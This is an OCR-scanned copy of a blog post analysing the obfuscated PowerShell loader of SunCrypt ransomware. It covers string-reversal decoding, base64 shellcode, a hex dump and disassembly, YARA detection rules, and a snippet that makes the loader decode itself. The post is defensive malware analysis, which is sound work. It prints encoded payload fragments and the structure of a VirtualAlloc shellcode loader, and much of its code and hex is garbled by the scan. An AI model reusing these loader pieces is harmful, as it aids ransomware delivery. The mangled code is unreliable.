https://pcsxcetrasupport3.wordpress.com /2021 /03 /28 /suncrypt-powershell-obfuscation-shellcode-and-more-yara/
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This didn’t start as a blog post. It started as a conversation with Hari Charan @grep_security about something they

were looking at called SunCrypt ransomware.

Looking up the name I ran across a couple of interesting blog post, one by Sapphire here and one by Acronis here

. Seeing that this was obfuscated PowerShell it peaked my interest.

Searching for some samples to work with also revealed that you can do a tag search on tri.age of “family:

suncrypt” (without the space)

Trimge Submit  Messarche e port

e

EEEEEEE

The PowerShell loader we are going to use here is the one from the Acronis blog post with a hash of MDS5:
d87fcd8d2bf450b0056a151e9a116£72 . There are multiple copies on https://app.any.run/submissions/ for that

hash. There are 3 copies on Tri.age here.

Hari Charan @grep_security also pointed me to a couple of open source yara rules to search for the PowerShell

loaders.

This one appears as though it will search for the ransomware binary here and this one will search for the

PowerShell script here .

Let’s take a look at some of the encoding.
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https://sapphirex00.medium.com/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
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https://app.any.run/submissions/
https://tria.ge/s?q=md5%3Ad87fcd8d2bf450b0056a151e9a116f72
https://github.com/kevoreilly/community/blob/0de1bf900f78aea160a61caf48d7a525695046fb/data/yara/CAPE/SunCrypt.yar#L1
https://github.com/advanced-threat-research/Yara-Rules/blob/master/ransomware/RANSOM_Suncrypt.yar
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If we look at this part it takes 3 values , assembles them , then it base64 decodes to byte.

But it will also do something to the strings before it reassembles them.

BT415

BT416 HPFunction XhugwIBDOzIVNXeLVIQYZ() |
BT417 return {([regex]: :Matches |
'FEZcT/WkxOSbRGAWYFEZEREWKXEX+gsvYVInMwz IWEABIMFMHNQLDURNA/ VEI+NL ICAL IEFYCYyx ERTQDQLIAQLCRRLmY GAPDE
jAweRGHOEFZcZgXkxeleRGTGEFZsbnkxhZeRGjUSFIcZkkxeNaeRGn4 FIMZh X kxvEeRGIVIFZMdeX kxl 1dRGEEIFIMISPIT
SFcdFrDARREATFEeC 1 BAODCERLGQiwI0iIUL /4X3/QBEQIXOL I VUL IMAENE IOFE YL Qio30iwX0io3UiIMA4NEIEFEIGF1Yy
RImPAACARAUCALS fRLCAAAKEhPARODS ERLS fTFiwAQO0LBX0iLs0IF1IBFLIC] BAODY IRLCETJCEBSDARTLY fRLCAARCEG
VIIXAUNAEVE I 2Nt IAgHMWIoGZN1IPINAENEIAFtIAFLIEFtIASX2gARe ZDi DT Dy+iVNCyAREM v/ VROSN1IBINASNEISF 4/
AAAWD Lo ARTAGAVE Yy I4gCiYG/ VEIARSW/ SGEACOWE Pg f VLB L PARRS / f4BCREB 2 QT LS e PEWImx f TLCARPEPUl s uCERI+
/Sy QRDEABLL fTLCEt PEWImx ETLCAAPEPURARMASNe BOPAS IN4OONAB INIARAWGE+gAwI 3g4RXAWI 2gwiULA L TDPA+gmxAGBLG
AAEQXE+AAEg3gOX0i0XVi4FAVDGOVLSeTLWAWT hFCQReTJyDSDgRTLieRLieRJiIQRLCC T Dy +iVBACCNMwWE S/ / + Je EMQEgARgC
VIGe(BlAMBvAEhHeCMY TOMUL i AR ewB 1 AMY AewBOgt PWTLCAW s BEWw s WA DCAR LWEBEWN 3/ Ao TR fRTiIYENCARRIThPAAT SN
iBRwtPReTLL fRLIRAAXYWIBAAMSOG KX/ OxaRNSeVIGIFDWEVLL fRLCCSDW ETLS ERLCAABIWgPgBS TgETLS ERLASRICE+FE 4B
RGAWrFZORsWkxAgoRGHORFEZce Gk yVoRGHGRF ZacD kxl JoRGNWWF EMTAX kx kS bRCEmMV F 2 2b SWkxMxbRGDaTJSCSDWETLS £
toDREINTIASKZg4x+gevyYV' , ., "RightToLefc') | ForEach (§_.wvalue}) =-join "'}

87418
BT41%9 }

87420  $ugCLGObOLOPLIAjnoroy) — XhugwIBOOzIVNXeLVIQYZ

7421

We can see the first string is redirected to a function that will read right to left , basically just reverse the string.
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87420 SugCLeObOtOPLIAInorOy) = XhugwJBDOzIVNXCLVIQYZ
B7421
87422 SqdHEZNMeMI fBzVotiCTIja -

"HEYGkDGgHUADSgL IwG/ GRe Pk kXCdcE w2 2GR L x kX FSME Mo GRedux kX I ZME FyWzGRep L kX LOcZ Pz ADGRABN x kX RacZFOnLeRANDx
ebggAAFD/ YOI TReRgAPSV T FRJREIDE fghdQeewomE ARARL OX4 iUl 0Nai034A0g8iU3vakBoADARATLFE I tAUVERQagD/ Ve SDxBCITREYDE
EDIXAQGOzwOtHIONEROX4 LUXg/ 3xg/ IXFEPnG,S /O IWy XAdQQzwlsviOUQL 038 0gY i 0UURKOK4 LUK 020X 0ADKELUX 0L 0UIVIL FDFCLRRRGL
GReplxkXrZcZFTGPGRel0xkXuAT IF4FDoSReRAFD/ VOLIREyNRIBQakCLERCLOA] /e FCLERDY cCD/ VEyDRBC FWHUEME D MG ShMARRRT 1 Fé
JIDE INHUFMEBASZmLAQLLOAhgCF Loy QWD AL B AHUENEDr Iot FCItACI ENC I JICEINI LN/ POL/ It FCPIWIOI G+ £/ AWV NIwiWLT IHskARAR
F+G2GRf kAxkMgV e 2P4WnGRe Ty k] dMZFSHNGRaVh K mBMEZFS1IHGRah L e kN p 2o 2 FEnLGRat Sx kN s AMEIF O FEGRAFpR kN Scs ZF03TGRAR 12
GRCJYXKXDEZCEFRGTCROVIRKNGUNEF R ILGRohVE KR TY B EFymXGRot zxkXMc B ZFzQDGRaRaxkWldB ZFplXGRaduxkWobc EPgWHGRapWR KWV
QEEMEFARBGS 10T IUWQ UM QU s BQARUPSVCILIFnI L FvEFDo IwDARFD/ VoL JRY yNRARQ) WU RSVDED/ YOL TRACLRRCLOB L TR ExqHI 2 Fe R/ /
Qi0ATiI0AlOINczéDfarndDiLRRD/ cB /VYRDS 1WghecBl T2 cEaARRWARCLRRCLOAL LQFEAUItFEITACPSWNP ¥ Vn IPEEItNEI 1BIGoEaRAWA
BCHWAARGLERCLOAL LTROLGDS JOSDr IGoEaAAwAACLRRCLOAL LOFBAUGSoA/ IWegB QL 00 Qi UEg L DUy 3ggAHUFE 2gARACLRRCLOA] feFELR
FEICACA+IQAYSREXZOWCLE/CILTZ)  dAEQalXERItNEICJELtVmANMARRRa 0¥ AR tNEI L JI I e VRANMAgRR GG YBARCDRAZF ScAdF1AFRRARAZW
Ti0kgROgBLA0UIitgIi0UIL0AIgThOROAAAAGZGOYDELOVIQY Puxph ' . Substeing (16, 2000)

87423
87424 Function MrvBERPYxvNPFaulUtQsgl() |
87425 raturn ({[regex]::Matches (

'==wwJzeRLi4 C4XViAsSI+FtoCr zeRJiBQLy fRLUADAXYWE S/ M SXLEgE S /M STchRCFOF 14/ M IPxFxYiml AMoHNEFLIDEPY / / 3£HoD1 /S / 3PxF)
BJaGHspSSPladYimaiUinh FIqBeR TatWuen3FlalyYJjacklinh IMgpdRJacWspG2 Plo 2 YVnaWiUishl byRd R JasHypm0 Fle 2 Vma GHU L m]
f0aRdAXI+FSTDOQHEWFYER++gFIREDAIC/KATTDZ 9/ f+DHEAX I/ WT TDZ S/ / +2HEAX I/ MUULiAREDFt I+FhYAEC IDNt IAAVGRAPDCF L IQARORL

If we Look at the second string it is getting a substring of what is there starting at index 16 and taking 2000

characters.

3
FRANMLg R NS TERAAL Dxhe r o odF LATAAAA swlk e
1

oL #_ o P it 12804

The encoded string is actually 2032 characters long before we get the substring.
The final string is is just another reverse string.

Then we just have a long base 64 string after reassembling the pieces.
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cghxkWsREZFrWXGRa 50X KHVvUMEFsHLGROFvx kWYY # ZFs0HGRbRkx kW1 ZMZFtnLGRbd 1 x kW4 c 8 ZFuX PGRboRAx I XMBgARRINL4ADrB4 tF4ECTREL
iLTeAPtwRBi03cilXEARSEIiVEoEYiNRbxD/ IXkEMEMARRZWYXAdRALRfiLTeAPtWRBi03ci1XBARSRIiVEagIJoAR+EJAARATNG TAAPKI

BOeGLVOWPtgwRweEICBEzyUFr yQOLVwPtgwRCAGLT ECTJORSLROYDWASLT £CIQRCLR EDGOAWR JUNIUR91 TPO1 60hWCgRAGBOMER] +/ / B zwMnOC]
AItFOItNCAMIiUI4i0X0i0AEg+gI0eiJReyLRESDWALTREYLReyJReCLRexIiUXsg33gAR+EFAEAAILF/ GaLAGEBEAXMg+APDT EALUNwg 3 IwAXS
ItV/GYJCg+3y Tt V4+ IkECumi ARARUPE PARCLT ExmIWEPLBCLT L ALBAEDROY S/ WEARILV/GY JOg+3y YtV IKECut 1uPB PARCLT ExmIWE Pt 8CLT( 2]
£AL00Mgel/ /wARDT£Ji1X4DT cERAGPBU LB PARCLY £xmIwo Pt SmLV Ehani QORI OXEQECTREZR 1ET/ /4t FOIE NOANIBIINSOmV / v/ A MEBAYCNVL+yD]
Bg3gMAR+EGWEARING TAAPhREBAACLE £ yLTRADSAY JTAT/ 44T/ VY JRELiDE fghd0z HRewBARAAS & cARACLR S yLTRADSBCIT £CLR fyDORB1C I £ FE]
TexgCFhrwRCLTeyLV fgDVAF4ivikiOxXki034A0gei0X0iwAl/ /EARTLVESCECEIOEQY IFEItFEItN+AMIiU30i0Xwid3oiQir LY tFOItNEAMIi U]
S/ Fi0XBgBRAUIUKE 6dj+/ / +DfewRdOfHReABAARAMEAPhan+/ /+LReDIWIWLT IPs TMZFIEfGRAL 1 xkXedMZF303GRe BvxkXhZMZ F4 nXGReNsxkX)
1F/INS/AB1BDPAGOQLREYTRECLRECLT EwDSDYJTfiLREIBOFBFAABOBDPAGSYMLARCLOALLODOTREXyGYt FEILACICN+ I LY/ ANRUDL ONHMFMEBAY
GRoduxkXIZMEFyWzGRoplxkXLQcZFzADGRABHXkXRacEFOnLGRANOxkXUdc ZF IWHGRAZ sx kXX QcEF26zGRdl s xkXab 8 2F2 2 PGRAWA ] WS UOh +C3
i034n0g8iU3wakBOADAAAI L FEItAUERQagD/ VeSDXBCIREYDE EwAdQe swOmDARARL OUQL038iUgci0Xw/ 380/ 3X4 / 3XBEPIFARCD A/ dE 2 /A
Ug¥i0UUKOX4 iUK0L0X0AONELUX01i0UIUIt FDFCLRRhQLOKO/ 9AZWEDIWIWLTIPSIMIF, FoGReFpxkXics ZF4 ITGReR1xkX 1Y c I FSme GRed (e kX
CLRRD/ cCD/ V£ yDxBCFWHUEMEDrMGEhMARAAT L F4+ Tt F+ I tNEItJII I ICIt FETtACT tNET t JIANTIKI 1 NS Tt FOB/ Qz DEAQMADVY vaUY t FCT tAC Tt N(
1/ ItFCPSWIOiG+E/ /WVnIwlWLT IHskAARATIN] 1ACDZaAAg I 0QAHUTI i0WD ERODAADGR FBux kX xdMZFEmTGRENs x kX ObMEF 93 TGREZ kx kX FHMEF+
AMZFOFbGRAFpxkXSca2F0ITGRARLxKXVY cZF lmzGRAABxkXYEMZF2WzGRApvxkXbY B ZF 3ADGRbxHX kW IZ cZFvnTGRESDxkXAde ZFWRLGReJyx k]
aduxkWobcZFgWHGRapwxkWr Vs ZFrGnGRallxkWud® ZFr 0/ GREBmxkWxUE 2 F smXGRbN j xkWOdMZ FtWnGRb ZvxkWibs Z FuACHReBQEEMFARBG/ 1U]
CLOBLTREXQHIZFCcR/ //1D/dfz /VICFWHQZGX 2 AAAABAHUC6wELREWDhX 2/ / /+JREzr 1Tt FEItACI tNE It ANDtBGHIMI0UQIi AT i0A0O0XEcZ 6D
HEI1BIGOEaRAWARCLRRCLORILOFBAUItFEItACPOWNPIVAIFEEItNEIIBIItFEINAIABLRItFEI tACGoIWNVIBYNECHWAIRGLRRCLGAI LTRCLOY
QAj /cFSLRRD/ cBCLRRD/ cCho0AERAIFEDItFEItACItREI t JCA+ 35RENRAGY IWY g2 XBAOSHIOXAQI1F/ It FEItACA+ 3IQAY SREXZOWEF,/CLLT 2]
ARZWRHFVPT/ /4t FIMnDVYve Yt FCItNCItJEI L IR FCI tABA+IAD I NWgARARQzwOs / A0UI i 0AEL 00T i0koANgE i 0UIiUgIi0UIi0AIgThGROA
QzwOrJioug/ 3Ag/ 3UM/ IUIEI3 3/ / +DrAyFWHUEMBDELES1ECT I+/ / /WYNALQQzwOee/ 3UQ/ 3UM/ IUIEAT 7/ / +Dxhy FWHUEME Dr Az PAQF 3DVY v e
J+E£/ fgiQUExPrEfI1EPIIDPIICORE/ / //giQMNCHNVi+XRg2ZXBACSHIOXBQILF/ ItF/DLFERONLIOUIAOXE i kOMiA] r SMRDVY vaUYNL/ ADTBACF /S
FAEARADIBINL/ACLREz IwIWLTFH/dQjozP/ / /M imFwHQMDTSFCIPATI1F/OsHDTSFCILE/ IpF/ MnDVYvsUYNL/ACLR fyLTOgPtwRBhcBOCY L F/ E(
cB1BYtFCOth/3UMETT/ / /92 iUNwMEBAABARI00IigOBIERD/IX0EF:/// I2iEX/ L0VIQECTROG PvkX/ heB1BDPAGYY Pri/DTSH/ jvBdeK,/ dED)
UMQILEDRPOL /O e/ v/ /HGH+EPIL+OFh/ v/ /WO +wCyw ik 0dRAPYEX BhcBOCAHH RELFWHRZ L0X0XsnDVYvasg+wMVot FEEL JRRAZWEBEwACLTQiKS
ZDTTRE/CIdfR1Fg4+REYFWHQODTSF+ IXRdAADFRARASALRFReyeNVi+yE T DWCARCDT ez / ZREWARAALUXMLOXMi0AMgSAULUROL 0X0iwC IR fRga]
WGaJReBqZFhmiUXiamx¥Zol F5GpsWGaJReYzwGa Re i LRfgTRFROCTLF4+IPoCI1F/ ItF/A+3QCSFWHRS1 0XEDTARITIFEPS18ItF/ POWKI 2 FxP]
ezrCotF+IsAiUKY 64 iLRe zJww==

1 VYvsgéx4g2XsAINLGADOTQ4RAIIFZItF2ILF/ItF/IIF1ItF1ItH/ANIPIINOGOINGVART I:HOItUfm.lxiﬂfSLRf-SLIfHDEEYJ'TﬂYLRa‘.SLTEj

Remember we still have to convert this to byte and it will get loaded into memory using Virtual Alloc.

palurn {{ (FTREmE I LEpTee A TOTINEGY] + (IFFDERTSRXLus LYaq)vEssl] + ||3nlokghalin TyATTaNTHIR] + | - INE

]
ARAEAEEPHRRESAFIITEE = ALRsL FEssEsvEBGuaREIE

[EREPLE ) SHLDREnDoga TR GAMEYN = [SCaCTIpesy EhqDokpiNoR] 1 sV rtuslAllos [ (5O) TLILLENG HBEe] xula) , § PO ESENTFyOURGRgS . Langth , (ST PR L
(R = AvEE}11d

Cfunokion GugFRiqSTTciMhvimbsgl) |
FatuEn

]
SGHTNETFL S TqIRIPOGRPME = CREFNE 0T SRAVTAIAN
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&) Untitted! |

Offsec (k) 00 01 02 03 04 05 06 OF OB 05 QA OB OC OD OE OF

00000000 55 8B EC B3 EC 78 83 €5 EC 00 23 £5 E8 00 Ef BE Ueifixfel.fed.dq
Q0000010 OE 00 00 8% 45 DO 8B 45 D& 89 45 FC 8B 45 FC 8% ... .nE2<EQREd«EUR
00000020 45 DS 8B 45 D4 @B 4D FC 03 48 3C 89 4D DO 6R 02 EdcEdcMi. HouMBy,
00000030 5% 6B CO 00 BB 4D DO BB 55 FC 03 54 0L 78 B9 55 XkA.<MBDcUL.T.xED
00000040 F4 2B 45 F4 8B 4D FC 03 48 1C 29 4D DC BB 45 F4  A:E&«ME.H.EMIEA
00000050 8B 4D FC 03 48 24 8% 4D EO C6 45 BC 4C C6 45 BD « Mi.HSWMAEEWLEES
00000060 EF C6 45 BE 61 C6 45 BF 64 C6 45 CO 4C C6 45 C1 oEEMafE;dFEALEEL
00000070 6% C6 65 C2 62 C6 45 C3 72 C6 45 C4 61 C6 45 ¢ iFEAnEEirgriased
00000080 72 CE 45 C6 7D CE 45 C7 41 C6 45 CE 00 C6 45 AC rEEEyEECASEE. FE-
00000030 47 C6 45 AD 65 C6 45 AE 74 C6 45 AF 50 C6 45 B0 GEE.eEEStEE PEE®
Q00000RD 72 CE& 45 BL 6F C6 45 B2 63 C6 45 B3 41 C6 45 B4 rEE:oNFE*cEE"REE-
00000080 &4 CE 45 BS 64 C6 45 B6 72 C6 45 BY 65 C6 45 BS dEERAEE9riE -efE,
00000000 T3 CE 45 B9 73 C6 45 BA 00 CT 45 OC 06 00 00 00 asEErsEEe.CEL....
000000B0 83 65 F8 00 EB 07 8B 45 F8 40 55 45 F8 8B 45 F4 feo.E.«EofkEo<ES
000000ED BB 4D F8 3B 48 18 OF 83 02 01 00 OO BB 45 F4 BB «Mo:H..f....cEd«
000000F0 4D FC 03 4B 20 EB 453 FA8 BB 55 FC 03 14 81 89 55 Mi.H «Es«Ul...%D
00000100 E4 3D 45 RC 50 FF 75 E4 EB EB OC 00 00 59 59 85 A.E-Fiulés,..YY._
00000110 ©0 75 18 BB 45 F& 8B 4D EO OF BT 04 41 885 40 DC  Au.<EscMa. - AcMl
00000120 8B 55 FC 03 14 21 8% 55 E2 EB 28 8D 45 BC 50 FF «UHl...%wUéE (.EWPY
00000130 75 E4 E8 CL OC 00 00 55 59 85 CO0 75 16 8B 45 F8  uséd, . .¥Y¥. Au.«Eo
00000140 8B 4D E0 OF BT 04 41 8B 4D DC 8B 55 FC 03 14 81 «MA. - ARcMIcDH. ..
00000150 89 55 EC B3 7D E& 00 OF B84 BC OO0 OO0 00 B3 7D EC hULflé...E...f}i
00000160 00 OF 84 B2 00 00 00 68D 45 88 89 45 FO 6RA 24 6A «.ws».».E"EESIS]
00000170 OO0 FF 75 FO EE 1C OB 00 00 83 C4 OC 33 €O 40 &8 .Yudé....fA.3A6K
00000180 CO 00 8B 4D OC OF B6 04 01 C1 EO 18 33 C9 41 €1 A.«M..9..4a.3804
00000190 E1 00 8B 55 OC OF Bé OC OA €1 E1 10 OB C1 33 €F 4&.<U..9..Ra.. A3E
O0000LAD 41 D1 E1 BB 55 OC OF B6 OC OA Cl E1 08 0B Cl 33 Af&«U..9..RA4..43
0D0001BO C9 41 6B C9 03 8B 55 OC OF B6 OC OA OB C1 EB 4D EARE.<U..9...5:<M
00000100 FO 89 41 14 85 45 OC 83 CO 04 25 4D FO 89 41 10 &%A.<E.fh.<MS%A.
000001D0 2B 45 FO C6 40 OC 01 8D 45 882 50 FF 75 EC FF 75 <E8EE...E"Piulifu
OO0001ED ES EZ 56 OR 00 00 83 C§ OC E9 Ef FE FF FF 33 €O &&V...fR.&épbutad
00000LF0 CO C2 08 00 55 8B EC 83 EC 20 2B 45 08 89 45 Ef EA. .Ucifl «E.RE:
00000200 8B 45 E8 BB 4D 08 03 48 3C 89 4D E4 6A 0B 58 6B «EécM. .H<EMEY . Xk
00000210 CO 05 BB 4D E4 88 55 08 O3 54 01 78 B9 55 F4 8B A.cME«U..T.x%08¢
00000220 45 F4 83 78 04 00 OF 84 5E 01 00 OO0 8B 45 F4 8B Ed&fx...."...¢Ed«
00000230 4D 08 03 08 2% 4D F8 8B 45 F4 2B 40 04 B3 E8 08 M...nMocEdc@.fé.
00000240 D1 E8 8% 45 EC 8B 45 F4 83 C0 02 89 45 FC 8B 45 MeREL<ESFA.REWE
00000250 EC 8% 45 ED BB 45 EC 48 B9 45 EC 83 7D EDO 00 OF AREACELHRELF}A..
00000260 84 14 01 00 0D 8B 45 FC 66 BB 00 66 C1 EB OC 66 .b....<EQfc LAk, ¥
00000270 83 EO0 OF OF BT CO 89 45 FO 83 7D FO 01 74 78 83 fA.. -A%ESF}&.cxf
00000280 7D FO O2 OF &4 AB OO0 OO0 OO0 83 7D FO 03 74 3B 83 j8...«...f}8.0:f
00000280 7D FO OA 74 05 ES D2 00 00 00 B2 FF OF 00 00 88 }8.c.éd... .¥...¢
000002R0 4D FC &6 23 01 OF B7 CO 8B 4D F& 88 04 01 03 45 Mifé, . -AcMoc...E
000002B0 OC B9 FF OF 0D 00 8B 55 FC 66 23 OA OF BT C9 8B .*f...«Ulf$.. Ec

Looking at the bytes in a hex editor we can not see anything that makes any sense.

The next step is to drop this into CyberChef here and view the assembly.
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w2 1
24 1
35 1
% 4
27 1 B Denrriod AL RADR VT PTH, Soslioncs L ELLE
o ] == [T P V-
30 1 X C
31 CEASRIEE -3 Losflibraryh, Gstfrochidrsas OO0 LA S T TR R AL
32 cedsuor Sy Senmpeds
13 CEASRES] RO S oo
11 CEASRFE4 i

DO THaNC M w T
H CEASEIEE T M YT
1% CEASELES oo oA S AT P
7 cedseIaz o S
1] CEA5EITE ] o T
1 cEAIIE T e i
40 EEASELTE it Catala] vy e
LK CEAHETE] S LA e L] T T
a3 ewa3ct00 < Wik bye o S Y
4 CEASREAT D000AS (LS S T TR =]
4% EEAIRIES L= I LT 1
1% CEASRETA e T TR i b
47 EEAIRFED b i S T e
18 b SO DL Sicry FVT] P AR T
1] X EEASRIER T TE R T T L T
50 O LT G
il At efdin1l Lkl Erayh Gt by
13 AL EEASEE4
53 CEASREEA
4 CEASRETT
55 CEASHTES
16 CEASRETY
57 CEASRETY
58 5 CEASRANO <- mull byta |
1] CTASSSIEE00N0
60 By ERD TR [ERF-00],
%1 i EBE7 -y
2 1 MO EAX,DHORD FTR [ERF-00]
3 THE A
id 1 MO BORD TR [ERP-00] A
— —_—

This is also where I hinted on Twitter of a “Somewhat useful tool” which will be on my Github.

If we look down further we see more API calls.

0L Y HDAnE MY EAX,DEORD PTR |EBF-eC]
03 40 BRLEFIGED B -FFFFFRD InFTT F GOBEE
703 1 CEATOLE MY BYTE PTR =¥ ntdll.dll, VirtoslQoery, Virtualhlloc, SetCuzTestProcess, IwUnmapWiswdfSsction
704 CEASTLT MY BYTE FTR
5 CEASTFIEA M BYTE 1T
04 CEAIFILT MY RYTE PTR
157 &1 cldsraec MY BYTE FTR
T4 05 SEdSTFRIE R BYTE FTR
109 0 CEASPEEA MY BETE PTR
110 G0 CdeSTTec MY BITE FTR
711 CEASFIEC Y BYTE FTE
7132 SEAIFICT M BYTR PTR £- all byta
113 césimate MOV BYTE FTR
714 CEASELES Y BITE PTR
% CE45E2TT MR BYTE ITE
1 CE43EITe MOV BYTE PTR
717 cEASEdTE WP BITE FTH
718 CEASESEL A BYTE TR
Lt} 1 CesSEEeT MOV BETE PTR
120 CEASETEL MY BITE FTR
3L CEASEATE R BYTE TR
322 CELIERLE M BYTE PTR
723 CEASEAT MOV BYTE FTR
T4 CEASERTR R BYTE TR
3% VI CRMSECOD MY RETE FTR €-all byta
124 CE45oate MY BYTE FTR
— T

And even further down we see a different type of string building using a “push pop”. I have not made a tool for
that yet.
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PTR [EBP=:

[EBP-:

[EBR-:

. [EBP-

B [EBP=:

[EBR-:

1, A%

] LA

] A%

1,.8%

4] Ax

] A

-

kernel32.dll

Although doing this statically we can not tell for sure how this is used it can give some clues as to what it will be
doing by the API calls.

What started all of this was when I was trying to write a yara rule to find more samples to test this tool with and

look for any outliers that would break it or not be what I was looking for.

B o e o T

s L0 B

[+11

~d

=

rule CyberChef Asm_MOV_BYTE_PTR_BuildStr {

meta:
description
author =

strings:
ScmdStr =

condition:
SemdsSty

"Search to find Shellcode that produces strings using Move Byte poiter”

"David Ledbetter ALedtechi”

{CE457272C645777PCE452727C645)

I’m still learning yara and this version just looked for the format of the “MOV BYTE PTR”.

I ended up with over 552 hits for this and many false positives. I knew I need to find something to rule out some

of the values that did not return strings or would return either encoded or garbage looking strings.

After several hours of trial and error I ended up with this.
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e o G | [ TR TS ST TS v o | [ S e TE e A Gad () f TSGR ERLTL SR AP e e R |

1 rule byte_Array MOV _BYTE PTR BuildStr |

meta:
3 description = "Search to find Shelleode that produces strings using Move Byte Pointer”™
4 author = "David Ledbetter @Ledtech3”
strings:
7 SemdStr = (CE4SPFIICEASIIIICELS IR ACE45 TR IPCELS)
g SemdCCCC = (CCCE45)
9 $emdXAFD = {CE4577FD)
S$emdxxDL = (8855770645}

condition:
ScmdStr and not $cmdCOCC and not ScmdXXFD and not $omdxxDL

That reduced it down to 214 hits. It ended up being shellcode and binary samples that used that format. I’'m sure

there are a few more samples in that mix that would be false positives but it was good enough for what I wanted.

After going thru that exercise I was wanting to try and find a way to let the obfuscated PowerShell self decode. So

I started by looking for a way to just let it reassemble the base64 string and then write that to a file.

SFilaFathitc = °

Funotion XhopeJRDST IVEXCLYIGEA) |
ravarn (1 [reges] i i Hatohes{

1 1 ForEssh (8 .walusbl -join ‘b

¥
SogilidbsbipLLAjroriy] = ThugwIBDOz IVIECIVICHE

BaptrEoleE EREV AT e =

topabarelnglic, b

Funotion HrvBEnPYavWEFaulTegsql] |
raturn [{[regex]: -Mscches|

b1 Fergack (B_valusld -bein *7)
¥
FOAR PR | INERFE S = MrvkinSYeeis Ranl ey
PRI TIPS = §- LA (Lol o L e o ST E PR L ICT e, s | MU Irm Dl B b | out-Fi le BFiLepatheie

The template part is the path variable and the pipe out to file. But you have to remember to remove the “[Byte[]]”
part and the “[System.Convert]::FromBase64String” from each one you wanted to rebuild and just dump to a text

file for further processing of the base64 string.

So I then went back and searched for how to just output to a binary file since that is what we ultimately wanted

anyway..
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4 roturn {([regex] : iMatchan|
"FLet /M dSEREKEvEF AR AN e By g ey Dnit e Iw AR S HPHEHREGL DORMAS Ve D+He ICAe TEFe Yo yn FRTOOQLI AL SRR ey EXFOEIBAMFEFOEL FRLL T yDE D T LE FRLE R IR IR DEAPOB L B GHT
waRGHIGFICIQUEN s LORGTGAF IS0 Kan 2aRG] VAFIC Nk FRe BGANAF IMI N kn vEBaRG I 1 IF EdeXin L 1ARGIEIFENJSFI T LW 1w IDa RL+/ / +nah PALMAAAABRASRE L QdAwa T 0+ + ] AR XD UA DY
FEOAAAEATFAeCIADDCIRLCDiwd O IU] /4 S OmEQINDL T30 IMAENE TOFE YL i Qa0 iwa 0 a0l IMAs Ne TEFL TEFLYgEOIECECEVE LAAR /LAl 000 L ag 0nd 304 000 i l0r L 4 FAVDg EVLyreTLCA
LECALCARMCERPANGDS CALEET L wASD 05 BX 01 La0SF] IBF IC1RAGDY ERLE E T ICBEDART LY FRLCAMR s EAMAN S AH 2 Celfuy £ £ DG FRIYOVS TS TAT JyASDARTLY CRLOAMBE RN PAAT SHIAMY
Wt IAGHHW I oG INL IPINAERC I AFe I JFLIEFt TASX I gAAS 204 DT Dy + A VN yABEHS S v/ VRO OR1 IRIHASNE I 3Ft 4./ T 1pz fRJCE QO R 04 KgQ imh EVLa © Fow Ims EVLCAAPI L uBPQAEC TLAXL 1TEY
TRABIAGAVE Ty I4gTi VG VE TAASw/ SGEACOWE PR fViaS tPARAS / T4 BCRERZOTLCEE PEWT CARPEPU L EUCERT SVE T340 | Y5 Ve TAAS W/ SyORDEARLL fTLCB L PEW TRx STLOAARE PUARAR i ZraCE
TLOAL FEW Iax FTLCARPEPUAMAR SN BOPAS DRI SOMAD SH L ARAWGE 98w 3 35 4 IUChW T 3gwictil

hegmuACEBSALSES Fr I AARAFE +AAg 3 39501 DeailoaRSyaRLy FRSL ADSIRLya R T i 02 g+gEAD

CHY 080 L A ewB L MY A w BOgt PeOTLOA S BEY swAXDCARLwE #wi ]/ AoGI g f ATL YENCAART THFAA T BHIARAR] E4ARCI 3gsXviBExANR] i cI0iBAVE FAOT! -8 Bl YW BAAMENG k3 / Db Ry
YW ERAAMEOEEN B/ QRaRNEaVICE FIMEVLL IRLOCE D TLE FRLOAAR Ty P RE T FTLEIREL FRICE Frd Be DA LN T ARRGIMO DA cB RS IO FE fed Wi LanRS ey FEME INke kBRSO FZA Y yWiev FaRs
NFZeelXiony Ve RGHG N F 2 o DXl JeRGnw FZMT A o SbRGHm v F LB b 38 oddn b RZDwe T JECE 0w I TLE FALyd T-IyBE e ITLETRLE VT L KATNAS Ve TN IAAWGH I oG 0Nl I FINA/ N I L FLIIF1E/Fe D/ FLI
'RightTolafs'} | ForBach (§ .walus}d -jein '}

SUqULECEOLOPLIAIROTOY] = KhuguIBDoTIVNNCLYIQYS

W A

[REVBELCTI A =

"R Y EkDPEQHUADsgt LwG/ GRoFRakNSdc EFw 2 GRocRl e kX FEHE FrmHERocdan kX T IHEFyRz GRcp l e kK LOc I F e ADERIBR R kX Ra c EPO LG RANT s kU c I F IRHERd 2ok kN Go A F2 Gz FRAl sukifab I IF22 P
GIARFD VL JRARGAR VT FeIRE L f fgAdDe swimEARAAL 0X4 i UK od (oL 034 A0GE i Udwa KRoADARAT L FE T tAUERDagD, wASDE swORDAAAAL DL 038 S vgei (o0 IR0y 304/ JXEE
AQQSEwOeNLOXEROXA 1My / 3kg/ IXBEFnE/ M ISWNYHASSg ewda v i OUGL 038 LY S 0UUR 04 LERC0 L0 OADXE 180 L Of a2 ITCRal
X ZolFTSP0Re 10x kX uAl 1 FAFDoSAoRAFDY V01 JREyHRIBOS RS LARCLOA] £ o FCLRRDY cCD WV E y D BC P HUEMSE DEMG: HIITFIR Oz
FMEBAG=LEC: LOA e FL o oW D E AR BAHTENEDE ToS FOITACT LR IR TRIINSFRL /IR FCR o) 5o L/ /WindwiWL T THE KARAAINL SWIERODAADGRIBax KRNI FEmTERIN
EXgVaITdNncRe Sy j NI T SHIGReVha KXSbHIFS 1EGRak L kX p e IR EnLoRat Sx kX AN I FOFECRATpx kX S a IF O ITCRARL 2 VY e IF lme CRad N kX TEHIF IR 2 G Rapva kXBY S IF IALC ibx Hx kW FE
Fxc7EReVI0SUME FX ILERchw i TYA EFymX CRor e iO®icE EFeQDCRaRax ki 148 EFplXcRadaxki¥obec EFgNHERapwx ki e Ve IF eGnchal Lo kNudd EFed CREBm kinD 8 E Famk CRDH ) w kW DM I Foin
TR0 3 TNGRDg s B DA D1FnIlFeFic IvTAAF DS VL TR yRRa RO WU RS VDFDY V01 TRACLARCLOBL TREXqHT 2 Fe P/ 1DV d 1 2 A VICFwHO TR T ARARBARUC B LB fwDhiz/ F f+JREZr I T FETEAS
DEaRAdDi LERDY el VDS INgheB 152 o LA ARCARC LERCLOAL LOFIAT I e FE It ACE W PIVRIPEE I tNEL LB I GoLaARRARCLRACLOAL LOF AU It FE Lt ACP NP I VRI PEC It NEL LRI IEFE
